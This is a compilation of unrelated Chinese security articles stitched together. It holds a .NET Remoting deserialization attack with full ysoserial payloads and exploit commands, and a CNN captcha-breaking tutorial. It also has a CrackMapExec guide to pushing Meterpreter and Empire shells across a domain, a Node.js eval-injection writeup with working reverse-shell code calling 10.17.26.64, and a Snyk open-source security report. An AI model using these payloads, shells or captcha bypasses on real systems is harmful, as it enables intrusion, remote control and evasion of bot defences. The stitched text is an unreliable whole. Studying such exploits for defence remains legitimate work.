PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
**删除`SOAP-ENV:Body`标签之后**复制到burp中发包，弹出计算器。
# TcpServerChannel数据包
远程调用对象代码
using System;
namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
public string GetCount()
{
Console.WriteLine("GetCount called.");
return $"hello,{count++}";
}
}
}
客户端
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("get string:\t{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
服务端
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
TcpServerChannel httpServerChannel = new TcpServerChannel(hashtables,binary);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
wireshark抓包之后，追踪tcp数据流
发现数据流以`2e 4e 45 54`
`.NET`开头进行二进制传输远程调用方法、类型和命名空间。我们可以伪造tcp数据流来发送恶意二进制数据流进行反序列化RCE。
# 攻击TcpServerChannel
Github上有一个现成的工具[ExploitRemotingService](https://github.com/tyranid/ExploitRemotingService)，通过它的raw参数我们可以发送原始binary数据。先使用ysoserial.net生成base64的payload。
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64
AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==
然后使用ExploitRemotingService发包
PS C:\Users\ddd\Downloads\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> .\ExploitRemotingService tcp://localhost:9999/RemoteDemoObjectClass.rem raw AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==
效果如图
该工具还有其他很多用法，值得学习。
# 发现.net remoting应用
因为协议的特征，nmap可以扫出来
实际渗透过程中碰到rem后缀的也要重点关注。
# 审计
关注TcpChannel、HttpChannel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候ExploitRemotingService也可以利用，但是要设置`ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage",
false;`这个全局非默认配置，少见，仅作了解。
关注rem后缀的uri，可能就是.net remoting。
# 后文
本文简单介绍了.net
remoting的基础及利用。ExploitRemotingService是一个值得学习的项目，其中使用到类似于java的动态注册RMI实例实现执行自定义代码的操作，受益颇多。
# 参考
1. <https://www.codeproject.com/Articles/14791/NET-Remoting-with-an-Easy-Example>
2. <https://research.nccgroup.com/2019/03/19/finding-and-exploiting-net-remoting-over-http-using-deserialisation/>
3. <https://github.com/tyranid/ExploitRemotingService> | 社区文章 |
From：[Xlvector's blog](http://blog.xlvector.net)
作者：[Xlvector](http://blog.xlvector.net/2016-05/mxnet-ocr-cnn/)
OCR是一个古老的问题。这里我们考虑一类特殊的OCR问题，就是验证码的识别。传统做验证码的识别，需要经过如下步骤：
1. 二值化
2. 字符分割
3. 字符识别
这里最难的就是分割。如果字符之间有粘连，那分割起来就无比痛苦了。
最近研究深度学习，发现有人做端到端的OCR。于是准备尝试一下。一般来说目前做基于深度学习的OCR大概有如下套路：
1. 把OCR的问题当做一个多标签学习的问题。4个数字组成的验证码就相当于有4个标签的图片识别问题（这里的标签还是有序的），用CNN来解决。
2. 把OCR的问题当做一个语音识别的问题，语音识别是把连续的音频转化为文本，验证码识别就是把连续的图片转化为文本，用CNN+LSTM+CTC来解决。
目前第1种方法可以做到90%多的准确率（4个都猜对了才算对），第二种方法我目前的实验还只能到20%多，还在研究中。所以这篇文章先介绍第一种方法。
我们以 [python-captcha](https://pypi.python.org/pypi/captcha/0.1.1)
验证码的识别为例来做验证码识别。
下图是一些这个验证码的例子：
可以看到这里面有粘连，也有形变，噪音。所以我们可以看看用CNN识别这个验证码的效果。
首先，我们定义一个迭代器来输入数据，这里我们每次都直接调用python-captcha这个库来根据随机生成的label来生成相应的验证码图片。这样我们的训练集相当于是无穷大的。
class OCRIter(mx.io.DataIter):
def __init__(self, count, batch_size, num_label, height, width):
super(OCRIter, self).__init__()
self.captcha = ImageCaptcha(fonts=['./data/OpenSans-Regular.ttf'])
self.batch_size = batch_size
self.count = count
self.height = height
self.width = width
self.provide_data = [('data', (batch_size, 3, height, width))]
self.provide_label = [('softmax_label', (self.batch_size, num_label))]
def __iter__(self):
for k in range(self.count / self.batch_size):
data = []
label = []
for i in range(self.batch_size):
# 生成一个四位数字的随机字符串
num = gen_rand()
# 生成随机字符串对应的验证码图片
img = self.captcha.generate(num)
img = np.fromstring(img.getvalue(), dtype='uint8')
img = cv2.imdecode(img, cv2.IMREAD_COLOR)
img = cv2.resize(img, (self.width, self.height))
cv2.imwrite("./tmp" + str(i % 10) + ".png", img)
img = np.multiply(img, 1/255.0)
img = img.transpose(2, 0, 1)
data.append(img)
label.append(get_label(num))
data_all = [mx.nd.array(data)]
label_all = [mx.nd.array(label)]
data_names = ['data']
label_names = ['softmax_label']
data_batch = OCRBatch(data_names, data_all, label_names, label_all)
yield data_batch
def reset(self):
pass
然后我们用如下的网络来训练这个数据集：
def get_ocrnet():
data = mx.symbol.Variable('data')
label = mx.symbol.Variable('softmax_label')
conv1 = mx.symbol.Convolution(data=data, kernel=(5,5), num_filter=32)
pool1 = mx.symbol.Pooling(data=conv1, pool_type="max", kernel=(2,2), stride=(1, 1))
relu1 = mx.symbol.Activation(data=pool1, act_type="relu")
conv2 = mx.symbol.Convolution(data=relu1, kernel=(5,5), num_filter=32)
pool2 = mx.symbol.Pooling(data=conv2, pool_type="avg", kernel=(2,2), stride=(1, 1))
relu2 = mx.symbol.Activation(data=pool2, act_type="relu")
conv3 = mx.symbol.Convolution(data=relu2, kernel=(3,3), num_filter=32)
pool3 = mx.symbol.Pooling(data=conv3, pool_type="avg", kernel=(2,2), stride=(1, 1))
relu3 = mx.symbol.Activation(data=pool3, act_type="relu")
flatten = mx.symbol.Flatten(data = relu3)
fc1 = mx.symbol.FullyConnected(data = flatten, num_hidden = 512)
fc21 = mx.symbol.FullyConnected(data = fc1, num_hidden = 10)
fc22 = mx.symbol.FullyConnected(data = fc1, num_hidden = 10)
fc23 = mx.symbol.FullyConnected(data = fc1, num_hidden = 10)
fc24 = mx.symbol.FullyConnected(data = fc1, num_hidden = 10)
fc2 = mx.symbol.Concat(*[fc21, fc22, fc23, fc24], dim = 0)
label = mx.symbol.transpose(data = label)
label = mx.symbol.Reshape(data = label, target_shape = (0, ))
return mx.symbol.SoftmaxOutput(data = fc2, label = label, name = "softmax")
上面这个网络要稍微解释一下。因为这个问题是一个有顺序的多label的图片分类问题。我们在fc1的层上面接了4个Full
Connect层(fc21,fc22,fc23,fc24)，用来对应不同位置的4个数字label。然后将它们Concat在一起。然后同时学习这4个label。目前用上面的网络训练，4位数字全部预测正确的精度可以达到90%左右。
全部的代码请参考 https://gist.github.com/xlvector/6923ef145e59de44ed06f21228f2f879
更新，经过比较长时间的训练，精度可以达到98%左右，最后几轮迭代的结果如下：
2016-05-22 21:58:34,859 Epoch[14] Batch [1250] Speed: 117.29 samples/sec Train-Accuracy=0.980800
2016-05-22 21:58:48,527 Epoch[14] Batch [1300] Speed: 117.06 samples/sec Train-Accuracy=0.982000
2016-05-22 21:59:02,174 Epoch[14] Batch [1350] Speed: 117.24 samples/sec Train-Accuracy=0.981200
2016-05-22 21:59:16,509 Epoch[14] Batch [1400] Speed: 111.62 samples/sec Train-Accuracy=0.976800
2016-05-22 21:59:31,031 Epoch[14] Batch [1450] Speed: 110.18 samples/sec Train-Accuracy=0.975600
2016-05-22 21:59:45,323 Epoch[14] Batch [1500] Speed: 111.95 samples/sec Train-Accuracy=0.975600
2016-05-22 21:59:59,634 Epoch[14] Batch [1550] Speed: 111.81 samples/sec Train-Accuracy=0.985600
2016-05-22 22:00:13,997 Epoch[14] Batch [1600] Speed: 111.39 samples/sec Train-Accuracy=0.978800
2016-05-22 22:00:28,270 Epoch[14] Batch [1650] Speed: 112.11 samples/sec Train-Accuracy=0.983200
2016-05-22 22:00:42,713 Epoch[14] Batch [1700] Speed: 110.78 samples/sec Train-Accuracy=0.985200
2016-05-22 22:00:56,668 Epoch[14] Batch [1750] Speed: 114.65 samples/sec Train-Accuracy=0.975600
2016-05-22 22:01:11,000 Epoch[14] Batch [1800] Speed: 111.64 samples/sec Train-Accuracy=0.981200
2016-05-22 22:01:25,450 Epoch[14] Batch [1850] Speed: 110.73 samples/sec Train-Accuracy=0.979600
2016-05-22 22:01:39,860 Epoch[14] Batch [1900] Speed: 111.03 samples/sec Train-Accuracy=0.978400
2016-05-22 22:01:54,272 Epoch[14] Batch [1950] Speed: 111.02 samples/sec Train-Accuracy=0.978800
2016-05-22 22:02:08,939 Epoch[14] Batch [2000] Speed: 109.09 samples/sec Train-Accuracy=0.981600
2016-05-22 22:02:08,939 Epoch[14] Resetting Data Iterator
2016-05-22 22:02:08,939 Epoch[14] Time cost=568.681
2016-05-22 22:02:14,124 Epoch[14] Validation-Accuracy=0.986000
另外这个Slide提供了关于深度学习进行验证码识别的详细描述。
更新 2016-05-31 ：增加了inference的代码，所有代码在 https://github.com/xlvector/learning-dl/tree/master/mxnet/ocr
* * * | 社区文章 |
# 【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（二）
|
##### 译文声明
本文是翻译文章，文章来源：byt3bl33d3r
原文地址：<https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：80RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**传送门**
[**【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（一）**](http://bobao.360.cn/learning/detail/3216.html)
**前言**
在第一部分我们讲过的基础知识：
使用凭证
dump凭据
执行命令
使用payload模块
在第二部分我们将介绍CME的内部数据库以及如何使用 metasploit和 Empire来拿到shell.
**数据库**
CME的内部数据库可以通过使用cme_db.py脚本进行查询，两件事情会自动记录到数据库中：
CME所访问到的所有主机
拥有管理员权限的每台主机上的所有可获取的凭据
此外CME还会记录哪些凭据对哪些主机具有管理员权限。这项功能是非常有用的,因为在一个大型的网络环境中,我们可以拿到的凭据的数量是十分大的,如果完全人工分析,工作量会非常大.
使用hosts 命令我们可以查看所有我们交互过的主机
这个的输出会返回所有我们交互过的主机以及每台机器上我们已经获得的管理员凭据数目.如果我们想查看某台特定主机的凭据信息可以把主机名或者ip地址传递给
hosts命令.
同时我们还可以查询每个已获得的凭据对哪些机器具有管理员权限.我们可以使用: creds命令来概览下:
输出返回凭据的ID，类型，用户名，密码以及该凭据具有管理员权限的机器的数量。要了解详细情况我们可以直接把 用户名 作为参数传递给 creds命令.
**拿到所有的shell**
在第一部分中我们已经拿到了域管理员权限,我们就能拿到所有东西的shell啦!首先介绍如和拿到meterpreter session.
先来看看meterpreter_inject模块的说明.
现在我们在每台机器上运行meterpreter_inject模块,然后设置LHOST和LPORT参数( 设为我们在 handler中设置的一样)
然后shell就到我们的metasploit中了…..
接下来介绍如何使用Empire获取所有的shell,首先看看模块的说明
empire_agent_exec模块需要Empire监听器的名称,然后使用Empire's RESTful API
来生成一个合法的加载器.首先启动Empire RESTful API
(你需要在cme.conf文件中配置 Empire RESTful API的host ,用户名,密码来对Empire RESTful API进行认证)
然后创建一个名为CMETest的监听器
准备工作已经搞定,下面来接shell吧……
这里我使用了一个 -id 的参数指定了管理员的凭据,因为前面CME会把所有的凭据都存到数据库中,所以当我们指定 CredID
时他们会从后端数据库自动到指定的凭据来验证指定的机器！接着使用了LISTENER参数指定了Empire监听器的名称,然后CME会自动的去连接Empire
RESTful API,生成加载器并且执行他,整个过程都是自动化的.下面来看看我们的shell
**总结**
在这里介绍了如何在大型网络环境中使用CWE,通过使用这款工具可以节省我们很多时间。
**
**
**传送门**
* * *
[**【技术分享】域渗透之使用CrackMapExec拿到我们想要的东西（一）**](http://bobao.360.cn/learning/detail/3216.html) | 社区文章 |
# Node.js应用中的逆向Shell
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/>
译文仅供参考，具体内容表达以及含义原文为准。
我们如何在安全评估活动中利用Node.js应用程序中的漏洞来获取JavaScript逆向Shell呢?
介绍
在此之前,一个小型的web开发团队曾委托我们对他们移动应用程序的后台服务进行安全评估。值得一提的是,该后台程序的API(应用程序编程接口)开发全部遵循的是Rest风格。REST全称为REpresentational
State Transfer,即表述性状态转移。REST指的是一组架构约束条件和原则,满足这些约束条件和原则而设计开发出来的应用程序编程接口就是REST
API。REST并不是一种新兴的什么技术语言,也不是什么新的框架,而是一种概念、风格或者约束。
这种框架结构实际上是非常简洁的,整个架构中只需要使用三台Linux服务器。
-Node.js(一个Javascript运行环境)
-MongoDB(一个基于分布式文件存储的数据库)
-Redis(一个开源的Key-Value数据库)
首先,我们在无法访问到程序源代码的情况下对程序后台进行了一些随机测试。我们发现,如果在后台应用程序的某些数据输入接口中输入一些特殊字符时,将会引起程序的意外崩溃。
除此之外我们还注意到,我们可以在不经过身份验证的情况下从外网访问到应用程序的Redis服务器。
接下来,我们的任务就是对Node.js的应用程序编程接口代码进行安全审查,并找出引起程序崩溃的原因。
对存在漏洞的应用程序进行简化
我们创建出了这个小型的Node.js应用程序,该程序中同样含有存在漏洞的功能函数。如果用户想要尝试去利用这一漏洞,那么可以使用这一应用程序来进行测试。
Node.js网站服务器会等待类似[http://target.tld//?name=do*](http://target.tld/?name=do*)的查询语句传入服务器,并在网站数据库中搜索与查询语句中“name”参数相匹配的数据条目。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
const animalsJSON = path.join(__dirname, 'animals.json');
const animals = require(animalsJSON);
function requestHandler(req, res) {
let urlParams = url.parse(req.url, true);
let queryData = urlParams.query;
res.writeHead(200, {"Content-Type": "application/json"});
if (queryData.name) {
let searchQuery = stringToRegexp(queryData.name);
let animalsResult = getAnimals(searchQuery);
res.end(JSON.stringify(animalsResult));
} else {
res.end();
}
}
function getAnimals(query) {
let result = [];
for (let animal of animals) {
if (query.test(animal.name))
result.push(animal);
}
return result;
}
function stringToRegexp(input) {
let output = input.replace(/[[]\^$.|?+()]/, "\$&");
let prefix, suffix;
if (output[0] == '*') {
prefix = '/';
output = output.replace(/^*+/g, '');
} else {
prefix = '/^';
}
if (output[output.length - 1] == '*') {
suffix = '/i';
output = output.replace(/*+$/g, '');
} else {
suffix = '$/i';
}
output = output.replace(/[*]/, '.*');
return eval(prefix + output + suffix);
}
const server = http.createServer(requestHandler);
server.listen(3000);
[
{"name": "Dinosaur"},
{"name": "Dog"},
{"name": "Dogfish"},
{"name": "Dolphin"},
{"name": "Donkey"},
{"name": "Dotterel"},
{"name": "Dove"},
{"name": "Dragonfly"},
{"name": "Duck"}
]
漏洞信息
在我们的安全研究人员对代码中存在漏洞的地方进行了几分钟的分析测试之后,我们注意到了一个明显带有设计缺陷的地方,而这个问题将会直接导致攻击者能够实现远程代码执行。
stringToRegexp函数会创建出一个RegExp对象(正则表达式对象)来对用户的输入数据进行检测,并利用这个正则表达式对象来搜索数组中的有效数据元素。
return eval(prefix + output + suffix); // 我们在这里需要控制函数的返回值
我们可以在output变量中插入并执行我们的JavaScript代码。
stringToRegexp函数可以过滤掉数据中的某些特殊字符,并且对output变量的值进行审查。
["./;require('util').log('Owned');//*"]
当我们使用浏览器访问下方列出的网站地址之后,系统将会在服务器的终端打印一条信息。
http://target.tld/?name=["./;require('util').log('Owned');//*"]
通过这样的方法,我们就可以执行代码,并获取到服务器的交互Shell(例如/bin/sh)。
Node.js逆向Shell
下方所显示的JavaScript代码就是一个Node.js逆向Shell。
代码中的Payload将会生成一个/bin/sh Shell,并允许攻击者与目标服务器创建一条TCP链接,然后在通信数据流中绑定shell命令。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // 防止Node.js应用程序崩溃
})();
为了有效地运行我们的Payload,我们使用了一个小技巧。我们将逆向Shell
Payload编码成了十六进制格式,并且使用了Node.js的Buffer对象来对其进行解码操作。
http://target.tld/?name=["./;eval(new Buffer('PAYLOAD',
'hex').toString());//*"]
总结
在得到了上述的分析结果之后,我们强烈建议用户尽量避免在JavaScript项目中使用eval函数。对应的解决方案也十分简单,用户可以直接使用RegExp对象来对数据进行操作。 | 社区文章 |
# snyk：2017年开源安全的现状报告
##### 译文声明
本文是翻译文章，文章原作者 snyk，文章来源：snyk.io
原文地址：[https://snyk.io/stateofossecurity/pdf/The%20State%20of%20Open%20Source.pdf?utm_source=blog&utm_campaign=osssecurity](https://snyk.io/stateofossecurity/pdf/The%20State%20of%20Open%20Source.pdf?utm_source=blog&utm_campaign=osssecurity)
译文仅供参考，具体内容表达以及含义原文为准。
> 开源似广袤之地，且越来越多样化。开源安全的整体状况是一个重要的衡量尺度。我们需要了解它当前所处的位置，以便了解我们能够改进的地方。
>
>
> 试图并提供对开源这个生态系统安全健康的全球性观点需要数据的支持。为了更好地理解安全的开源是什么样的以及我们如何可以让开源的安全性变得更好，Snyk公司发出并分析了由500多名开源维护者和用户填写的调查。我们同时查看了Snyk公司基于40,000多个项目的内部数据、由Red
> Hat Linux提供的信息、以及我们通过扫描数百万GitHub仓库和包所收集的数据。
>
> 本报告概述了这些研究结果。
## 概览
去年，包管理工具索引的开源包数量呈爆炸式增长。
包管理器 | 开源包增长百分比
---|---
Rubygems | 10%
Python | 32%
Maven | 28%
Npm | 57%
开源维护者的安全知识并没有保证。仅有16.8% 的维护者认为他们掌握的安全知识很多，而43.7% 的维护者从未开展过代码安全审计。
对43万站点的测试结果显示，77%的站点至少运行了一个带有已知安全漏洞的前端库 (front-end library)。
开源应用库的漏洞数量在2016年增长了53.8%。而在2017年，漏洞数量在此基础上又增长了39.1%。
发布修复方案后，维护者需要通知用户保护应用的安全。88% 的维护者通过发布说明（Release
notes）通知用户，而只有9%的维护者会申请CVE编号，仅有3%的维护者会将漏洞情况告知漏洞监控服务。
漏洞在披露前潜伏的时间中位数是2.5年，不过一旦发现后，维护者的响应速度通常很快。漏洞从发现到修复的时间中位数是16天。
美国国家漏洞库 (NVD) 中的漏洞数量大幅增长，但漏洞覆盖是个问题。
被NVD所覆盖的漏洞百分比：npm（11%）、Rubygem（67%）。
## 开源软件情况总览
整体而言，开源正在蓬勃发展。Forrester和Gartner都表示80%到90%的商用软件开发人员都在应用程序中使用开源组件。全球范围内所有可想象得到的垂直行业都在使用开源代码助力自己的业务。
### 使用
不管你看的是哪个生态系统，它们对开源组件的使用都在增多。
截止到2017年9月底，人们通过PyPi下载Python包的次数已达到63亿，通过npm下载Node包的次数超过873亿。
去年（2016年10月1日至2017年10月1日），包管理工具索引的开源包数量呈爆炸式增长。Rubygems的数量已增长10.3%，Python库的数量增长32%，Maven的数量增长28%，npm包的数量增长57%。
同时，Docker Hub上的公共应用程序数量已超过90万个，而去年的数量为46万左右。
简言之，开源组件的数量之多前所未有，而且它们的便捷性也史无前例。
平均每天下载的npm包数量（单位：百万）
平均每天下载的PyPi包数量（单位：百万）
索引包总数的百分比增长率 （2016年10月至2017年10月）
### 风险和影响
如果你正在使用开源代码，那么安全性是一个首要考虑因素。Github在最近的开源调查中指出，86%的用户表示安全极其或非常重要。但是开源具有内在风险，因为你不知道你所下载的来源是谁，而且不同开源项目之间的安全标准和维护者的技术水平各不相同。
开源组件中的已知漏洞也成为非常具有吸引力的攻击向量。一旦这些漏洞遭公开披露，那么利用代码就会紧随其后。
今年的Struts2漏洞 (CVE-2017-5638)
就是一个例子。研究人员在2017年3月发现了这个漏洞，6天之后，Imperva公司就报告称发现数千个来自40多个国家1323个不同IP地址的漏洞利用尝试。
聚焦Equifax
2017年最引人注目的安全事件之一是Equifax遭受的攻击，它导致数百万记录遭泄露。这次事件是通过利用Apache
Struts2包中的一个已知漏洞引发的，该漏洞能让远程攻击者发送恶意请求，从而执行任意命令。
这个漏洞的时间轴也让其与众不同。2017年3月6日，漏洞被公开披露并修复。一天之后，利用脚本就开始出现。2个月之后，也就是5月13日，Euifax数据泄露事件爆发。再过了2个月之后（7月29日），事件才被发现。这个漏洞从被公开到被利用中间只隔一天，而数据泄露事件是在2个月之后发生。因此，怎么强调优先保证开源的安全性也不为过。
### 开源软件维护者的安全态势
从安全角度来讲，开源的蓬勃发展也带来了挑战。并不存在开源开发必须遵守的、确保软件安全交付的“规则”，因此每个项目的安全态势各不相同。开源软件维护者的挑战在于，他们通常是业余维护这些开源资源，因此他们并没有足够的时间和资源来确保项目的安全。
虽然向开源项目贡献代码的多数人员并非恶意人员，但只有16.8%的受访维护者表示自己觉得自己的安全知识水平为“高”。
减少应用程序中漏洞数量的方法之一是例行开展安全审计，或者开展手动审计或者雇佣渗透测试人员来检查尚未披露的安全风险有哪些。然而43.7%的开源维护者表示从未开展过代码安全审计，而另外31.8%的维护者表示在项目生命周期内只审计过一两次。
目前，并不存在记录开源项目基本安全信息的标准。在GitHub排名前40万公共库中，只有不到1万个公共库中有说明开源项目安全信息的文件，，约占总数的2.4%。
由于缺少公开信息，因此难以评估任何单个开源包或项目的总体安全投入，而且也难以理解如何向开源维护者披露新发现的漏洞。
维护者如何评价自己的安全专业技能
维护者审计代码的频率
### 漏洞的数量有多少？
错误总会发生。卡内基梅隆大学开展的一项调查显示，每1000行商用软件代码中，约有20到30个bug。有了bug之后，漏洞会不可避免地随之产生。
应用程序库中的已知漏洞
自2009年以来，应用程序库中已发布的漏洞数量稳步增长，并且并无放缓的迹象。去年（2016年），所发布的开源安全漏洞数量增长了53.8%（基于Snyk数据库的统计，该数据库追踪的是npm、Maven、Pip、Rubygems和Go），而今年较去年已增长39.1%。
同样的问题也存在于前端。我们测试了超过43万个站点后发现，77%的站点至少运行着一个包含一个已知安全漏洞的库。
系统库中的已知漏洞
从Red Hat Linux中我们看到了一个相反的趋势。影响Red Hat Linux的漏洞数量自2012年以来稳步减少，至今已减少了62%。
按年份公布的开源漏洞数量
按年份统计的Red Hat Linux漏洞数量
漏洞严重性的趋势
对漏洞数量的统计是一方面，不过我们也可以质疑这些漏洞是否会产生真正的影响。下载数量不多的库中出现的高危漏洞可能会导致漏洞数量被人为夸大。
为此，我们查看了从下载量超过5万次的npm包中发现的高危漏洞，同时基于包对客户的重要性查看了Java包中出现的高危漏洞。在这两种情况下，我们发现影响力大的高危漏洞数量在稳步增长。截至2017年的目前阶段，我们看到增长趋势非常相似。
严重的Java和Node包漏洞
Docker容器中的漏洞
